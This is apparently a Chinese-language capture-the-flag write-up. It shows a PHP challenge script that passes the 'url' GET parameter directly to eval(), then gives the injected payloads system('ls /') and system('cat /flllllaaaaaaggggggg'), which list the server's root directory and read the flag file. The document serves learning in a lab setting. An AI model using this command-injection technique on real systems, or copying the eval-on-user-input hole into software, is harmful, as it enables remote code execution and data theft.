代开靶机之后看到是php脚本
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
If判断语句告诉我们,如果存在url变量,则执行eval函数,所以我们需要构造执行外部命令函数(关于执行外部命令函数可以参考https://www.cnblogs.com/gaohj/p/3267692.html)
构造结果:?url=system(“ls /”);
含义:将外部执行命令ls /结果赋值url,并在浏览器中显示
其中,?表示拼接;ls /代表列出目录文件
注意,该代码输入必须是英文键盘
发送之后可以看到文件目录,猜测flag在flllllaaaaaaggggggg文件中
使用cat命令进行查看 ?url=system("cat /flllllaaaaaaggggggg");
最后得到flag